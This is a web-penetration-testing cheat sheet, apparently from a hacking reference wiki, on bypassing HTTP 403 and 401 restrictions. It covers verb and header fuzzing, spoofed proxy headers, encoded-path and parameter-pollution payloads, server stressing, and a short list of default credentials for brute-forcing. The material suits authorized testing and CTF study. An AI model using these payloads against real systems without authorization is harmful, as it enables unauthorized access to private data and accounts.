403 & 401 Bypasses

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HTTP Verbs/Methods Fuzzing

Try using different verbs to access the file: GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK
  • Check the response headers, maybe some information can be given. For example, a 200 response to HEAD with Content-Length: 55 means that the HEAD verb can access the info. But you still need to find a way to exfiltrate that info.
  • Using a HTTP header like X-HTTP-Method-Override: PUT can overwrite the verb used.
  • Use TRACE verb and if you are very lucky maybe in the response you can see also the headers added by intermediate proxies that might be useful.

HTTP Headers Fuzzing

  • Change Host header to some arbitrary value (that worked here)
  • Try to use other User Agents to access the resource.
  • Fuzz HTTP Headers: Try using HTTP Proxy Headers, HTTP Authentication Basic and NTLM brute-force (with a few combinations only) and other techniques. To do all of this I have created the tool fuzzhttpbypass.
    • X-Originating-IP:
    • X-Forwarded-For:
    • X-Forwarded:
    • Forwarded-For:
    • X-Remote-IP:
    • X-Remote-Addr:
    • X-ProxyUser-Ip:
    • X-Original-URL:
    • Client-IP:
    • True-Client-IP:
    • Cluster-Client-IP:
    • X-ProxyUser-Ip:
    • Host: localhost
    If the path is protected you can try to bypass the path protection using these other headers:
    • X-Original-URL: /admin/console
    • X-Rewrite-URL: /admin/console
  • If the page is behind a proxy, maybe it's the proxy the one preventing you you to access the private information. Try abusing HTTP Request Smuggling or hop-by-hop headers.
  • Fuzz special HTTP headers looking for different response.
    • Fuzz special HTTP headers while fuzzing HTTP Methods.
  • Remove the Host header and maybe you will be able to bypass the protection.

Path Fuzzing

If /path is blocked:
  • Try using /%2e/path _(if the access is blocked by a proxy, this could bypass the protection). Try also_** /%252e**/path (double URL encode)
  • Try Unicode bypass: /%ef%bc%8fpath (The URL encoded chars are like "/") so when encoded back it will be //path and maybe you will have already bypassed the /path name check
  • Other path bypasses:
    • site.com/secret –> HTTP 403 Forbidden
    • site.com/SECRET –> HTTP 200 OK
    • site.com/secret/ –> HTTP 200 OK
    • site.com/secret/. –> HTTP 200 OK
    • site.com//secret// –> HTTP 200 OK
    • site.com/./secret/.. –> HTTP 200 OK
    • site.com/;/secret –> HTTP 200 OK
    • site.com/.;/secret –> HTTP 200 OK
    • site.com//;//secret –> HTTP 200 OK
    • site.com/secret.json –> HTTP 200 OK (ruby)
    • Use all this list in the following situations:
      • /FUZZsecret
      • /FUZZ/secret
      • /secretFUZZ
  • Other API bypasses:
    • /v3/users_data/1234 --> 403 Forbidden
    • /v1/users_data/1234 --> 200 OK
    • {“id”:111} --> 401 Unauthriozied
    • {“id”:[111]} --> 200 OK
    • {“id”:111} --> 401 Unauthriozied
    • {“id”:{“id”:111}} --> 200 OK
    • {"user_id":"<legit_id>","user_id":"<victims_id>"} (JSON Parameter Pollution)
    • user_id=ATTACKER_ID&user_id=VICTIM_ID (Parameter Pollution)

Protocol version

If using HTTP/1.1 try to use 1.0 or even test if it supports 2.0.

Other Bypasses

  • Get the IP or CNAME of the domain and try contacting it directly.
  • Try to stress the server sending common GET requests (It worked for this guy wit Facebook).
  • Change the protocol: from http to https, or for https to http
  • Go to https://archive.org/web/ and check if in the past that file was worldwide accessible.

Brute Force

  • Guess the password: Test the following common credentials. Do you know something about the victim? Or the CTF challenge name?
  • Brute force: Try basic, digest and NTLM auth.
Common creds
admin admin
admin password
admin 1234
admin admin1234
admin 123456
root toor
test test
guest guest

Automatic Tools

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